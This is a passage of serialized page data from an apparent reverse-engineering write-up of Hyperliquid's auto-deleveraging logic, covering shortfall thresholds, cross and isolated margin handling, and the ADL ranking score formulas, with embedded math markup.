flag.",{"type":22,"tag":160343,"props":160708,"children":160712},{"addr":160709,"line-start":160710,"line-end":160711},"0x555556ac3850","3290","3301",[],{"type":22,"tag":23,"props":160714,"children":160715},{},[160716,160718,160723],{"type":27,"value":160717},"Most importantly, for it to act it must actually be needed. What does that mean according to the ",{"type":22,"tag":257,"props":160719,"children":160721},{"className":160720},[],[160722],{"type":27,"value":160619},{"type":27,"value":4458},{"type":22,"tag":181,"props":160725,"children":160727},{"id":160726},"threshold-condition",[160728],{"type":27,"value":160729},"Threshold Condition",{"type":22,"tag":23,"props":160731,"children":160732},{},[160733,160735,160740],{"type":27,"value":160734},"The natural connection between liquidations and ADL is ",{"type":22,"tag":1699,"props":160736,"children":160737},{},[160738],{"type":27,"value":160739},"shortfall",{"type":27,"value":160741},": by how much a position, or the entire system (!), is underwater.",{"type":22,"tag":23,"props":160743,"children":160744},{},[160745],{"type":27,"value":160746},"If we could liquidate every position in time against willing buyers of the debt, there would be no systemic shortfall; ADL is triggered whenever that's not the case.",{"type":22,"tag":20197,"props":160748,"children":160750},{"id":160749},"who-is-underwater",[160751],{"type":27,"value":160752},"Who Is Underwater?",{"type":22,"tag":23,"props":160754,"children":160755},{},[160756,160758,160763,160765,160771],{"type":27,"value":160757},"In order to determine that shortfall (or sum of bad debt), we process a useful tree of losing positions, built at the end of each block and passed to the ",{"type":22,"tag":257,"props":160759,"children":160761},{"className":160760},[],[160762],{"type":27,"value":160663},{"type":27,"value":160764},", starting from all user positions, which are stored in ",{"type":22,"tag":257,"props":160766,"children":160768},{"className":160767},[],[160769],{"type":27,"value":160770},"clearinghouse.user_states",{"type":27,"value":160772},", as we can also see from the serialization.",{"type":22,"tag":160312,"props":160774,"children":160775},{},[160776],{"type":22,"tag":23,"props":160777,"children":160778},{},[160779],{"type":27,"value":160780},"A graph can also branch, you know? Click around to view all possible paths from one function to another.",{"type":22,"tag":160343,"props":160782,"children":160786},{"source":160783,"target":160683,"direction":160784,"path":160785},"adl_init_user_position_iterators","backward","exchange_end_block,build_adl_candidate_set,adl_init_user_position_iterators",[],{"type":22,"tag":23,"props":160788,"children":160789},{},[160790,160791,160796,160798,160804,160806,160812,160814,160820],{"type":27,"value":17914},{"type":22,"tag":257,"props":160792,"children":160794},{"className":160793},[],[160795],{"type":27,"value":160783},{"type":27,"value":160797}," essentially turns that into an ",{"type":22,"tag":257,"props":160799,"children":160801},{"className":160800},[],[160802],{"type":27,"value":160803},"Iter",{"type":27,"value":160805},", then, inside of ",{"type":22,"tag":257,"props":160807,"children":160809},{"className":160808},[],[160810],{"type":27,"value":160811},"build_adl_candidate_set",{"type":27,"value":160813}," each entry is accounted either as a cross or isolated position, depending on the value of the ",{"type":22,"tag":257,"props":160815,"children":160817},{"className":160816},[],[160818],{"type":27,"value":160819},"AdlIterEntry",{"type":27,"value":59647},{"type":22,"tag":160343,"props":160822,"children":160824},{"type-name":160823},"AdlIterContext",[],{"type":22,"tag":23,"props":160826,"children":160827},{},[160828,160830,160836,160838,160844,160846,160852,160854,160859],{"type":27,"value":160829},"Note that in storage, ",{"type":22,"tag":257,"props":160831,"children":160833},{"className":160832},[],[160834],{"type":27,"value":160835},"Isolated",{"type":27,"value":160837}," positions have their own independent ",{"type":22,"tag":257,"props":160839,"children":160841},{"className":160840},[],[160842],{"type":27,"value":160843},"Entry",{"type":27,"value":160845}," in the position iterators, and ",{"type":22,"tag":257,"props":160847,"children":160849},{"className":160848},[],[160850],{"type":27,"value":160851},"Cross",{"type":27,"value":160853}," positions have a single common ",{"type":22,"tag":257,"props":160855,"children":160857},{"className":160856},[],[160858],{"type":27,"value":160843},{"type":27,"value":160860},", which will be spread across several perps. We will see many more branches to handle the two kinds of positions.",{"type":22,"tag":160343,"props":160862,"children":160865},{"addr":160863,"line-start":45573,"line-end":160864},"0x555556266b10","163",[],{"type":22,"tag":23,"props":160867,"children":160868},{},[160869],{"type":27,"value":160870},"Ultimately, we get an iterator of underwater users filtered with the following code path, meaning they couldn't be liquidated by the end of the block according to the earlier threshold.",{"type":22,"tag":160343,"props":160872,"children":160875},{"addr":160709,"line-start":160873,"line-end":160874},"506","527",[],{"type":22,"tag":23,"props":160877,"children":160878},{},[160879,160881],{"type":27,"value":160880},"After iterating over users, if the total losses are less than a predefined constant (hardcoded to $5M in the testnet state), we spare cross-margin positions and log ",{"type":22,"tag":160882,"props":160883,"children":160886},"bndb-xref",{"lines":160884,"addrs":160885},"1-2","0x555556ac3e18-0x555556ac3e18",[160887],{"type":27,"value":160888},"Not performing auto-deleveraging because shortfall={} is acceptable.",{"type":22,"tag":23,"props":160890,"children":160891},{},[160892,160894,160900,160902,160908,160910,160916,160918,160924],{"type":27,"value":160893},"Note that this insurance fund is not applied to every asset: while this isn't documented anywhere, markets referred to as ",{"type":22,"tag":257,"props":160895,"children":160897},{"className":160896},[],[160898],{"type":27,"value":160899},"only_isolated",{"type":27,"value":160901}," (or ",{"type":22,"tag":257,"props":160903,"children":160905},{"className":160904},[],[160906],{"type":27,"value":160907},"strict_isolated",{"type":27,"value":160909}," in MessagePack dumps) are added to a separate queue, ",{"type":22,"tag":257,"props":160911,"children":160913},{"className":160912},[],[160914],{"type":27,"value":160915},"deferred_queue",{"type":27,"value":160917},", which triggers ADL regardless of the system's ",{"type":22,"tag":257,"props":160919,"children":160921},{"className":160920},[],[160922],{"type":27,"value":160923},"total_shortfall",{"type":27,"value":160925},". This is dictated by this branch.",{"type":22,"tag":160343,"props":160927,"children":160930},{"addr":160709,"line-start":160928,"line-end":160929},"211","243",[],{"type":22,"tag":23,"props":160932,"children":160933},{},[160934,160936,160943],{"type":27,"value":160935},"Very interestingly, some of the assets that have this flag, at least on testnet, include HYPE (and other relevant tokens like ZRO, as well as JELLYJELLY from the ",{"type":22,"tag":69,"props":160937,"children":160940},{"href":160938,"rel":160939},"https://info.arkm.com/research/jellyjelly-exploit-on-hyperliquid",[73],[160941],{"type":27,"value":160942},"March 2025 incident",{"type":27,"value":160944},"). Historical metadata for Hyperliquid is very hard to come by, so take this with a pinch of salt when thinking about mainnet.",{"type":22,"tag":20197,"props":160946,"children":160948},{"id":160947},"how-do-we-get-rid-of-debt",[160949],{"type":27,"value":160950},"How Do We Get Rid of Debt?",{"type":22,"tag":23,"props":160952,"children":160953},{},[160954],{"type":27,"value":160955},"Now we know whenever we have shortfall. What is to be done in that case? This is where different risk engines make different design choices: Hyperliquid chooses to apply a queue-based ADL (auto-deleveraging), meaning they forcefully close some winning positions in order to clear the debt of the losing traders.",{"type":22,"tag":23,"props":160957,"children":160958},{},[160959,160961,160966,160968,160973,160975,160980],{"type":27,"value":160960},"Thus, if the debt is insurmountable, the ",{"type":22,"tag":257,"props":160962,"children":160964},{"className":160963},[],[160965],{"type":27,"value":160915},{"type":27,"value":160967}," is overwritten by all the users marked by ",{"type":22,"tag":257,"props":160969,"children":160971},{"className":160970},[],[160972],{"type":27,"value":160811},{"type":27,"value":160974},", otherwise we keep it and only holders of underwater ",{"type":22,"tag":257,"props":160976,"children":160978},{"className":160977},[],[160979],{"type":27,"value":160907},{"type":27,"value":160981}," positions from the earlier loop are considered for ADL.",{"type":22,"tag":160312,"props":160983,"children":160984},{},[160985],{"type":22,"tag":23,"props":160986,"children":160987},{},[160988],{"type":27,"value":160989},"Note how verbose a simple key lookup can be when compiled in Rust.",{"type":22,"tag":160343,"props":160991,"children":160994},{"addr":160709,"line-start":160992,"line-end":160993},"523","526",[],{"type":22,"tag":23,"props":160996,"children":160997},{},[160998,161000,161006,161008,161014,161016,161021],{"type":27,"value":160999},"For each underwater position, we do a ",{"type":22,"tag":160882,"props":161001,"children":161003},{"addrs":161002},"0x555556ac42ad-0x555556ac42be",[161004],{"type":27,"value":161005},"B-tree lookup",{"type":27,"value":161007}," on ",{"type":22,"tag":257,"props":161009,"children":161011},{"className":161010},[],[161012],{"type":27,"value":161013},"clearinghouse.user_states[position.user]",{"type":27,"value":161015},", adding them to a ",{"type":22,"tag":257,"props":161017,"children":161019},{"className":161018},[],[161020],{"type":27,"value":18513},{"type":27,"value":161022}," of users (you would be amazed at how long the compilation of such a simple statement is). Also note the branch below, again on cross and isolated margin positions:",{"type":22,"tag":160343,"props":161024,"children":161027},{"addr":160709,"line-start":161025,"line-end":161026},"635","658",[],{"type":22,"tag":23,"props":161029,"children":161030},{},[161031],{"type":27,"value":161032},"The logic for cross margin positions is more complicated, because we're essentially asking the question of how to split a bankrupt user's total shortfall across their individual positions, so that we can absorb the right proportion of each position, which logically should be:",{"type":22,"tag":618,"props":161034,"children":161035},{},[161036],{"type":22,"tag":257,"props":161037,"children":161039},{"className":161038},[260,624],[161040],{"type":22,"tag":264,"props":161041,"children":161043},{"className":161042},[629],[161044],{"type":22,"tag":264,"props":161045,"children":161047},{"className":161046},[267],[161048],{"type":22,"tag":264,"props":161049,"children":161051},{"className":161050,"ariaHidden":273},[272],[161052],{"type":22,"tag":264,"props":161053,"children":161055},{"className":161054},[278],[161056,161061],{"type":22,"tag":264,"props":161057,"children":161060},{"className":161058,"style":161059},[283],"height:4.1904em;vertical-align:-1.8452em;",[],{"type":22,"tag":264,"props":161062,"children":161064},{"className":161063},[289],[161065],{"type":22,"tag":264,"props":161066,"children":161069},{"className":161067},[161068],"mtable",[161070,161150],{"type":22,"tag":264,"props":161071,"children":161074},{"className":161072},[161073],"col-align-r",[161075],{"type":22,"tag":264,"props":161076,"children":161078},{"className":161077},[305,306],[161079,161138],{"type":22,"tag":264,"props":161080,"children":161082},{"className":161081},[311],[161083,161133],{"type":22,"tag":264,"props":161084,"children":161087},{"className":161085,"style":161086},[316],"height:2.3452em;",[161088,161111],{"type":22,"tag":264,"props":161089,"children":161091},{"style":161090},"top:-4.3452em;",[161092,161097],{"type":22,"tag":264,"props":161093,"children":161096},{"className":161094,"style":161095},[326],"height:3.3944em;",[],{"type":22,"tag":264,"props":161098,"children":161100},{"className":161099},[289],[161101],{"type":22,"tag":264,"props":161102,"children":161104},{"className":161103},[289,27],[161105],{"type":22,"tag":264,"props":161106,"children":161108},{"className":161107},[289],[161109],{"type":27,"value":161110},"position_weight",{"type":22,"tag":264,"props":161112,"children":161114},{"style":161113},"top:-2.2092em;",[161115,161119],{"type":22,"tag":264,"props":161116,"children":161118},{"className":161117,"style":161095},[326],[],{"type":22,"tag":264,"props":161120,"children":161122},{"className":161121},[289],[161123],{"type":22,"tag":264,"props":161124,"children":161126},{"className":161125},[289,27],[161127],{"type":22,"tag":264,"props":161128,"children":161130},{"className":161129},[289],[161131],{"type":27,"value":161132},"position_adl_amount",{"type":22,"tag":264,"props":161134,"children":161136},{"className":161135},[396],[161137],{"type":27,"value":399},{"type":22,"tag":264,"props":161139,"children":161141},{"className":161140},[311],[161142],{"type":22,"tag":264,"props":161143,"children":161146},{"className":161144,"style":161145},[316],"height:1.8452em;",[161147],{"type":22,"tag":264,"props":161148,"children":161149},{},[],{"type":22,"tag":264,"props":161151,"children":161154},{"className":161152},[161153],"col-align-l",[161155],{"type":22,"tag":264,"props":161156,"children":161158},{"className":161157},[305,306],[161159,161360],{"type":22,"tag":264,"props":161160,"children":161162},{"className":161161},[311],[161163,161355],{"type":22,"tag":264,"props":161164,"children":161166},{"className":161165,"style":161086},[316],[161167,161295],{"type":22,"tag":264,"props":161168,"children":161169},{"style":161090},[161170,161174],{"type":22,"tag":264,"props":161171,"children":161173},{"className":161172,"style":161095},[326],[],{"type":22,"tag":264,"props":161175,"children":161177},{"className":161176},[289],[161178,161182,161186,161191,161195],{"type":22,"tag":264,"props":161179,"children":161181},{"className":161180},[289],[],{"type":22,"tag":264,"props":161183,"children":161185},{"className":161184,"style":421},[420],[],{"type":22,"tag":264,"props":161187,"children":161189},{"className":161188},[426],[161190],{"type":27,"value":429},{"type":22,"tag":264,"props":161192,"children":161194},{"className":161193,"style":421},[420],[],{"type":22,"tag":264,"props":161196,"children":161198},{"className":161197},[289],[161199,161203,161291],{"type":22,"tag":264,"props":161200,"children":161202},{"className":161201},[294,295],[],{"type":22,"tag":264,"props":161204,"children":161206},{"className":161205},[300],[161207],{"type":22,"tag":264,"props":161208,"children":161210},{"className":161209},[305,306],[161211,161279],{"type":22,"tag":264,"props":161212,"children":161214},{"className":161213},[311],[161215,161274],{"type":22,"tag":264,"props":161216,"children":161219},{"className":161217,"style":161218},[316],"height:1.3944em;",[161220,161241,161252],{"type":22,"tag":264,"props":161221,"children":161222},{"style":1030},[161223,161227],{"type":22,"tag":264,"props":161224,"children":161226},{"className":161225,"style":327},[326],[],{"type":22,"tag":264,"props":161228,"children":161230},{"className":161229},[289],[161231],{"type":22,"tag":264,"props":161232,"children":161234},{"className":161233},[289,27],[161235],{"type":22,"tag":264,"props":161236,"children":161238},{"className":161237},[289],[161239],{"type":27,"value":161240},"total_cross_notional",{"type":22,"tag":264,"props":161242,"children":161243},{"style":349},[161244,161248],{"type":22,"tag":264,"props":161245,"children":161247},{"className":161246,"style":327},[326],[],{"type":22,"tag":264,"props":161249,"children":161251},{"className":161250,"style":359},[358],[],{"type":22,"tag":264,"props":161253,"children":161255},{"style":161254},"top:-3.7em;",[161256,161260],{"type":22,"tag":264,"props":161257,"children":161259},{"className":161258,"style":327},[326],[],{"type":22,"tag":264,"props":161261,"children":161263},{"className":161262},[289],[161264],{"type":22,"tag":264,"props":161265,"children":161267},{"className":161266},[289,27],[161268],{"type":22,"tag":264,"props":161269,"children":161271},{"className":161270},[289],[161272],{"type":27,"value":161273},"position_notional",{"type":22,"tag":264,"props":161275,"children":161277},{"className":161276},[396],[161278],{"type":27,"value":399},{"type":22,"tag":264,"props":161280,"children":161282},{"className":161281},[311],[161283],{"type":22,"tag":264,"props":161284,"children":161287},{"className":161285,"style":161286},[316],"height:0.996em;",[161288],{"type":22,"tag":264,"props":161289,"children":161290},{},[],{"type":22,"tag":264,"props":161292,"children":161294},{"className":161293},[415,295],[],{"type":22,"tag":264,"props":161296,"children":161297},{"style":161113},[161298,161302],{"type":22,"tag":264,"props":161299,"children":161301},{"className":161300,"style":161095},[326],[],{"type":22,"tag":264,"props":161303,"children":161305},{"className":161304},[289],[161306,161310,161314,161319,161323,161333,161337,161342,161346],{"type":22,"tag":264,"props":161307,"children":161309},{"className":161308},[289],[],{"type":22,"tag":264,"props":161311,"children":161313},{"className":161312,"style":421},[420],[],{"type":22,"tag":264,"props":161315,"children":161317},{"className":161316},[426],[161318],{"type":27,"value":429},{"type":22,"tag":264,"props":161320,"children":161322},{"className":161321,"style":421},[420],[],{"type":22,"tag":264,"props":161324,"children":161326},{"className":161325},[289,27],[161327],{"type":22,"tag":264,"props":161328,"children":161330},{"className":161329},[289],[161331],{"type":27,"value":161332},"user_shortfall",{"type":22,"tag":264,"props":161334,"children":161336},{"className":161335,"style":665},[420],[],{"type":22,"tag":264,"props":161338,"children":161340},{"className":161339},[670],[161341],{"type":27,"value":112629},{"type":22,"tag":264,"props":161343,"children":161345},{"className":161344,"style":665},[420],[],{"type":22,"tag":264,"props":161347,"children":161349},{"className":161348},[289,27],[161350],{"type":22,"tag":264,"props":161351,"children":161353},{"className":161352},[289],[161354],{"type":27,"value":161110},{"type":22,"tag":264,"props":161356,"children":161358},{"className":161357},[396],[161359],{"type":27,"value":399},{"type":22,"tag":264,"props":161361,"children":161363},{"className":161362},[311],[161364],{"type":22,"tag":264,"props":161365,"children":161367},{"className":161366,"style":161145},[316],[161368],{"type":22,"tag":264,"props":161369,"children":161370},{},[],{"type":22,"tag":23,"props":161372,"children":161373},{},[161374],{"type":27,"value":161375},"We do that here:",{"type":22,"tag":160343,"props":161377,"children":161380},{"addr":160709,"line-start":161378,"line-end":161379},"828","981",[],{"type":22,"tag":23,"props":161382,"children":161383},{},[161384,161385,161391,161393,161399],{"type":27,"value":17914},{"type":22,"tag":160882,"props":161386,"children":161388},{"lines":161387},"77-79",[161389],{"type":27,"value":161390},"inner loop",{"type":27,"value":161392}," above spans all ",{"type":22,"tag":257,"props":161394,"children":161396},{"className":161395},[],[161397],{"type":27,"value":161398},"(asset_idx, direction)",{"type":27,"value":161400}," held in the cross margin position.",{"type":22,"tag":23,"props":161402,"children":161403},{},[161404,161406,161412,161414,161420,161421,161427],{"type":27,"value":161405},"For isolated positions the computation is trivial, and we directly write the single position, with its shortfall, to the ",{"type":22,"tag":257,"props":161407,"children":161409},{"className":161408},[],[161410],{"type":27,"value":161411},"adl_output",{"type":27,"value":161413}," b-tree, which is the output of this transformation for both isolated and cross margin positions, containing both ",{"type":22,"tag":257,"props":161415,"children":161417},{"className":161416},[],[161418],{"type":27,"value":161419},"position_id",{"type":27,"value":12290},{"type":22,"tag":257,"props":161422,"children":161424},{"className":161423},[],[161425],{"type":27,"value":161426},"position_shortfall",{"type":27,"value":210},{"type":22,"tag":160343,"props":161429,"children":161432},{"addr":160709,"line-start":161430,"line-end":161431},"2377","2469",[],{"type":22,"tag":23,"props":161434,"children":161435},{},[161436,161438,161444],{"type":27,"value":161437},"Afterwards we can finally loop over the B-tree containing ",{"type":22,"tag":257,"props":161439,"children":161441},{"className":161440},[],[161442],{"type":27,"value":161443},"(position_id, cut)",{"type":27,"value":161445},", which essentially tells us exactly how much of each position needs to be closed, to be later deleveraged from a winning position.",{"type":22,"tag":23,"props":161447,"children":161448},{},[161449,161451,161456],{"type":27,"value":161450},"The final phase of ",{"type":22,"tag":257,"props":161452,"children":161454},{"className":161453},[],[161455],{"type":27,"value":160663},{"type":27,"value":161457}," iterates it, and for each key it builds a counterparty array, initially including all users holding positions, sorting them based on a per-asset ADL ranking score.",{"type":22,"tag":160343,"props":161459,"children":161462},{"addr":160709,"addr-start":161460,"addr-end":161461},"0x555556ac6d52","0x555556ac6de8",[],{"type":22,"tag":23,"props":161464,"children":161465},{},[161466],{"type":27,"value":161467},"How are positions chosen (sorted) to be deleveraged?",{"type":22,"tag":36687,"props":161469,"children":161471},{"id":161470},"who-do-we-deleverage",[161472],{"type":27,"value":161473},"Who Do We Deleverage?",{"type":22,"tag":23,"props":161475,"children":161476},{},[161477],{"type":27,"value":161478},"This question is essential to the solvency and fairness of a perp platform. It is clear why solvency is a priority here.",{"type":22,"tag":23,"props":161480,"children":161481},{},[161482],{"type":27,"value":161483},"But what do we mean by fairness? Colloquially, we can say that the relative wealth of accounts should not be affected by deleveraging.",{"type":22,"tag":23,"props":161485,"children":161486},{},[161487,161489,161496],{"type":27,"value":161488},"More formally, fairness can be given multiple related definitions; see ",{"type":22,"tag":69,"props":161490,"children":161493},{"href":161491,"rel":161492},"https://arxiv.org/abs/2512.01112",[73],[161494],{"type":27,"value":161495},"this paper",{"type":27,"value":161497},". We want to prove that the algorithm used in HL is not axiomatically fair in its implementation (as defined in prop. 6.1 of the paper).",{"type":22,"tag":23,"props":161499,"children":161500},{},[161501],{"type":27,"value":161502},"So, is Hyperliquid fair? Is it always solvent?",{"type":22,"tag":169,"props":161504,"children":161506},{"id":161505},"adl-score-computation",[161507],{"type":27,"value":161508},"ADL Score Computation",{"type":22,"tag":23,"props":161510,"children":161511},{},[161512,161514,161520,161522,161528,161530,161535],{"type":27,"value":161513},"The score function at ",{"type":22,"tag":257,"props":161515,"children":161517},{"className":161516},[],[161518],{"type":27,"value":161519},"compute_adl_ranking_score",{"type":27,"value":161521}," is core to answering this question. It's defined, most likely as an ",{"type":22,"tag":257,"props":161523,"children":161525},{"className":161524},[],[161526],{"type":27,"value":161527},"Ord",{"type":27,"value":161529}," implementation on some 20-byte address representation. A ",{"type":22,"tag":257,"props":161531,"children":161533},{"className":161532},[],[161534],{"type":27,"value":18513},{"type":27,"value":161536}," of those holds the possible counterparties to fill against, and the trait is used by the sort routines that order them by ranking score for each underwater position.",{"type":22,"tag":23,"props":161538,"children":161539},{},[161540,161542,161547,161549,161555,161557,161564,161566,161573],{"type":27,"value":161541},"Those sort routines are ",{"type":22,"tag":1699,"props":161543,"children":161544},{},[161545],{"type":27,"value":161546},"generated by the compiler",{"type":27,"value":161548},": since Rust binaries include a lot of metadata by default in ",{"type":22,"tag":257,"props":161550,"children":161552},{"className":161551},[],[161553],{"type":27,"value":161554},".comment",{"type":27,"value":161556},", we may even manually ",{"type":22,"tag":69,"props":161558,"children":161561},{"href":161559,"rel":161560},"https://github.com/renato-osec/patina-research/tree/main/tools/chela",[73],[161562],{"type":27,"value":161563},"take advantage",{"type":27,"value":161565}," of this to recover the ",{"type":22,"tag":69,"props":161567,"children":161570},{"href":161568,"rel":161569},"https://github.com/rust-lang/rust/blob/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf/library/core/src/slice/sort/stable/mod.rs#L22-L29",[73],[161571],{"type":27,"value":161572},"exact source of library functions",{"type":27,"value":210},{"type":22,"tag":23,"props":161575,"children":161576},{},[161577,161579,161584],{"type":27,"value":161578},"Let's see how this ties back into the ",{"type":22,"tag":257,"props":161580,"children":161582},{"className":161581},[],[161583],{"type":27,"value":160663},{"type":27,"value":5785},{"type":22,"tag":160343,"props":161586,"children":161588},{"source":160663,"target":161519,"direction":160664,"path":161587},"clearinghouse_adl_orchestrator,driftsort_smallsort_insertion_by_adl_ranking,compute_adl_ranking_score",[],{"type":22,"tag":23,"props":161590,"children":161591},{},[161592],{"type":27,"value":161593},"And here's the main call site used for sorting:",{"type":22,"tag":160343,"props":161595,"children":161598},{"addr":160709,"line-start":161596,"line-end":161597},"2806","2814",[],{"type":22,"tag":169,"props":161600,"children":161602},{"id":161601},"ratio-1-effective-leverage",[161603],{"type":27,"value":161604},"Ratio 1: Effective Leverage",{"type":22,"tag":618,"props":161606,"children":161607},{},[161608],{"type":22,"tag":257,"props":161609,"children":161611},{"className":161610},[260,624],[161612],{"type":22,"tag":264,"props":161613,"children":161615},{"className":161614},[629],[161616],{"type":22,"tag":264,"props":161617,"children":161619},{"className":161618},[267],[161620],{"type":22,"tag":264,"props":161621,"children":161623},{"className":161622,"ariaHidden":273},[272],[161624,161655],{"type":22,"tag":264,"props":161625,"children":161627},{"className":161626},[278],[161628,161632,161642,161646,161651],{"type":22,"tag":264,"props":161629,"children":161631},{"className":161630,"style":2028},[283],[],{"type":22,"tag":264,"props":161633,"children":161635},{"className":161634},[289,27],[161636],{"type":22,"tag":264,"props":161637,"children":161639},{"className":161638},[289],[161640],{"type":27,"value":161641},"effective leverage",{"type":22,"tag":264,"props":161643,"children":161645},{"className":161644,"style":421},[420],[],{"type":22,"tag":264,"props":161647,"children":161649},{"className":161648},[426],[161650],{"type":27,"value":429},{"type":22,"tag":264,"props":161652,"children":161654},{"className":161653,"style":421},[420],[],{"type":22,"tag":264,"props":161656,"children":161658},{"className":161657},[278],[161659,161664],{"type":22,"tag":264,"props":161660,"children":161663},{"className":161661,"style":161662},[283],"height:2.113em;vertical-align:-0.686em;",[],{"type":22,"tag":264,"props":161665,"children":161667},{"className":161666},[289],[161668,161672,161766],{"type":22,"tag":264,"props":161669,"children":161671},{"className":161670},[294,295],[],{"type":22,"tag":264,"props":161673,"children":161675},{"className":161674},[300],[161676],{"type":22,"tag":264,"props":161677,"children":161679},{"className":161678},[305,306],[161680,161755],{"type":22,"tag":264,"props":161681,"children":161683},{"className":161682},[311],[161684,161750],{"type":22,"tag":264,"props":161685,"children":161687},{"className":161686,"style":160447},[316],[161688,161709,161720],{"type":22,"tag":264,"props":161689,"children":161690},{"style":1030},[161691,161695],{"type":22,"tag":264,"props":161692,"children":161694},{"className":161693,"style":327},[326],[],{"type":22,"tag":264,"props":161696,"children":161698},{"className":161697},[289],[161699],{"type":22,"tag":264,"props":161700,"children":161702},{"className":161701},[289,27],[161703],{"type":22,"tag":264,"props":161704,"children":161706},{"className":161705},[289],[161707],{"type":27,"value":161708},"account value",{"type":22,"tag":264,"props":161710,"children":161711},{"style":349},[161712,161716],{"type":22,"tag":264,"props":161713,"children":161715},{"className":161714,"style":327},[326],[],{"type":22,"tag":264,"props":161717,"children":161719},{"className":161718,"style":359},[358],[],{"type":22,"tag":264,"props":161721,"children":161722},{"style":1058},[161723,161727],{"type":22,"tag":264,"props":161724,"children":161726},{"className":161725,"style":327},[326],[],{"type":22,"tag":264,"props":161728,"children":161730},{"className":161729},[289],[161731,161736,161745],{"type":22,"tag":264,"props":161732,"children":161734},{"className":161733},[289],[161735],{"type":27,"value":160515},{"type":22,"tag":264,"props":161737,"children":161739},{"className":161738},[289,27],[161740],{"type":22,"tag":264,"props":161741,"children":161743},{"className":161742},[289],[161744],{"type":27,"value":160525},{"type":22,"tag":264,"props":161746,"children":161748},{"className":161747},[289],[161749],{"type":27,"value":160515},{"type":22,"tag":264,"props":161751,"children":161753},{"className":161752},[396],[161754],{"type":27,"value":399},{"type":22,"tag":264,"props":161756,"children":161758},{"className":161757},[311],[161759],{"type":22,"tag":264,"props":161760,"children":161762},{"className":161761,"style":1094},[316],[161763],{"type":22,"tag":264,"props":161764,"children":161765},{},[],{"type":22,"tag":264,"props":161767,"children":161769},{"className":161768},[415,295],[],{"type":22,"tag":23,"props":161771,"children":161772},{},[161773,161775,161781,161783,161789,161790,161796,161798,161804],{"type":27,"value":161774},"We can see in the decompilation below, through the SIMD noise, that ",{"type":22,"tag":257,"props":161776,"children":161778},{"className":161777},[],[161779],{"type":27,"value":161780},"abs_notional",{"type":27,"value":161782}," (unsigned), and ",{"type":22,"tag":257,"props":161784,"children":161786},{"className":161785},[],[161787],{"type":27,"value":161788},"float.d(rbx)",{"type":27,"value":6791},{"type":22,"tag":257,"props":161791,"children":161793},{"className":161792},[],[161794],{"type":27,"value":161795},"account_value",{"type":27,"value":161797}," (signed); the division is ",{"type":22,"tag":257,"props":161799,"children":161801},{"className":161800},[],[161802],{"type":27,"value":161803},"abs_notional / account_value",{"type":27,"value":210},{"type":22,"tag":23,"props":161806,"children":161807},{},[161808],{"type":27,"value":161809},"This tells us the risk multiplier that the user took on for this position.",{"type":22,"tag":160343,"props":161811,"children":161815},{"addr":161812,"line-start":161813,"line-end":161814},"0x555556abb140","278","296",[],{"type":22,"tag":169,"props":161817,"children":161819},{"id":161818},"ratio-2-profit-ratio",[161820],{"type":27,"value":161821},"Ratio 2: Profit Ratio",{"type":22,"tag":618,"props":161823,"children":161824},{},[161825],{"type":22,"tag":257,"props":161826,"children":161828},{"className":161827},[260,624],[161829],{"type":22,"tag":264,"props":161830,"children":161832},{"className":161831},[629],[161833],{"type":22,"tag":264,"props":161834,"children":161836},{"className":161835},[267],[161837],{"type":22,"tag":264,"props":161838,"children":161840},{"className":161839,"ariaHidden":273},[272],[161841,161872],{"type":22,"tag":264,"props":161842,"children":161844},{"className":161843},[278],[161845,161849,161859,161863,161868],{"type":22,"tag":264,"props":161846,"children":161848},{"className":161847,"style":2028},[283],[],{"type":22,"tag":264,"props":161850,"children":161852},{"className":161851},[289,27],[161853],{"type":22,"tag":264,"props":161854,"children":161856},{"className":161855},[289],[161857],{"type":27,"value":161858},"profit ratio",{"type":22,"tag":264,"props":161860,"children":161862},{"className":161861,"style":421},[420],[],{"type":22,"tag":264,"props":161864,"children":161866},{"className":161865},[426],[161867],{"type":27,"value":429},{"type":22,"tag":264,"props":161869,"children":161871},{"className":161870,"style":421},[420],[],{"type":22,"tag":264,"props":161873,"children":161875},{"className":161874},[278],[161876,161880],{"type":22,"tag":264,"props":161877,"children":161879},{"className":161878,"style":160422},[283],[],{"type":22,"tag":264,"props":161881,"children":161883},{"className":161882},[289],[161884,161888,162007],{"type":22,"tag":264,"props":161885,"children":161887},{"className":161886},[294,295],[],{"type":22,"tag":264,"props":161889,"children":161891},{"className":161890},[300],[161892],{"type":22,"tag":264,"props":161893,"children":161895},{"className":161894},[305,306],[161896,161996],{"type":22,"tag":264,"props":161897,"children":161899},{"className":161898},[311],[161900,161991],{"type":22,"tag":264,"props":161901,"children":161903},{"className":161902,"style":160447},[316],[161904,161925,161936],{"type":22,"tag":264,"props":161905,"children":161906},{"style":1030},[161907,161911],{"type":22,"tag":264,"props":161908,"children":161910},{"className":161909,"style":327},[326],[],{"type":22,"tag":264,"props":161912,"children":161914},{"className":161913},[289],[161915],{"type":22,"tag":264,"props":161916,"children":161918},{"className":161917},[289,27],[161919],{"type":22,"tag":264,"props":161920,"children":161922},{"className":161921},[289],[161923],{"type":27,"value":161924},"entry notional",{"type":22,"tag":264,"props":161926,"children":161927},{"style":349},[161928,161932],{"type":22,"tag":264,"props":161929,"children":161931},{"className":161930,"style":327},[326],[],{"type":22,"tag":264,"props":161933,"children":161935},{"className":161934,"style":359},[358],[],{"type":22,"tag":264,"props":161937,"children":161938},{"style":1058},[161939,161943],{"type":22,"tag":264,"props":161940,"children":161942},{"className":161941,"style":327},[326],[],{"type":22,"tag":264,"props":161944,"children":161946},{"className":161945},[289],[161947,161953,161958,161968,161973,161977,161981,161986],{"type":22,"tag":264,"props":161948,"children":161950},{"className":161949},[22929],[161951],{"type":27,"value":161952},"max",{"type":22,"tag":264,"props":161954,"children":161956},{"className":161955},[294],[161957],{"type":27,"value":2660},{"type":22,"tag":264,"props":161959,"children":161961},{"className":161960},[289,27],[161962],{"type":22,"tag":264,"props":161963,"children":161965},{"className":161964},[289],[161966],{"type":27,"value":161967},"pnl",{"type":22,"tag":264,"props":161969,"children":161971},{"className":161970},[5420],[161972],{"type":27,"value":5423},{"type":22,"tag":264,"props":161974,"children":161976},{"className":161975,"style":5427},[420],[],{"type":22,"tag":264,"props":161978,"children":161980},{"className":161979,"style":5427},[420],[],{"type":22,"tag":264,"props":161982,"children":161984},{"className":161983},[289],[161985],{"type":27,"value":5334},{"type":22,"tag":264,"props":161987,"children":161989},{"className":161988},[415],[161990],{"type":27,"value":2806},{"type":22,"tag":264,"props":161992,"children":161994},{"className":161993},[396],[161995],{"type":27,"value":399},{"type":22,"tag":264,"props":161997,"children":161999},{"className":161998},[311],[162000],{"type":22,"tag":264,